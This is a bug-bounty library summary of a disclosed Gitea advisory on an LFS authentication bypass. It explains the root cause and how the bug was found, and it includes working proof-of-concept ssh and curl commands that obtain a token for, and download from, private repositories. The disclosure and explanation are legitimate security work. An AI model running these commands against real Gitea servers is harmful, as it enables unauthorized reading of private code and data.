# Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories

Malformed LFS sub-verb makes Gitea return AccessModeNone, bypassing the permission check and minting LFS tokens for any private repo.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): Tomer-PL
- Found by: Tomer-PL
- Disclosed: 2026-07-21
- CVE: CVE-2026-58423
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7wvc-rvp7-w99x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7wvc-rvp7-w99x
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** SSH LFS authenticate endpoint (cmd/serv.go getAccessMode) and HTTP LFS batch API
**Root cause:** Unknown LFS sub-verb falls through to AccessModeNone (0) instead of erroring; the permission check `userMode < mode` becomes `userMode < 0`, always false, so private-repo access is granted. The resulting JWT with Op "badverb" is only validated for write ops, not downloads.
**Steps:**
1. Confirm no access: `ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"` returns not authorized.
2. Send malformed sub-verb: `ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"` returns a Bearer JWT and LFS href.
3. POST to `/admin/private-repo.git/info/lfs/objects/batch` with `{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}` and the Bearer token to get a download URL.
4. GET `/admin/private-repo.git/info/lfs/objects/<oid>` with the token to retrieve private LFS content.
**How found:** Code review of getAccessMode's switch on LFS sub-verbs revealed the default branch returns AccessModeNone in production (PanicInDevOrTesting only logs), then tracing that value into ServCommand's `userMode < mode` comparison showed the check is always false for private repos.
**Exploitation:** Any authenticated SSH user requests an LFS token with sub-verb `badverb` for a private repo they cannot access; the server mints a valid JWT (Op "badverb") accepted by the HTTP LFS download path, letting them batch-request and download all LFS objects of that repo.
**Insight:** Sentinel permission values like AccessModeNone=0 are dangerous when compared with `<` against a user mode that can be negative; trace any 'unknown verb' fallthrough into downstream numeric comparisons, and check that token claims validated on one code path (write) are also validated on the other (read).

## Proof of concept (copied exactly from the original report)

**Malformed SSH sub-verb bypasses permission check**

```
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}
```

**Batch API request with stolen token**

```
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Authorization: Bearer eyJ..." \
  -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
```

**Download private LFS object with token**

```
curl -H "Authorization: Bearer eyJ..." \
  "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
```

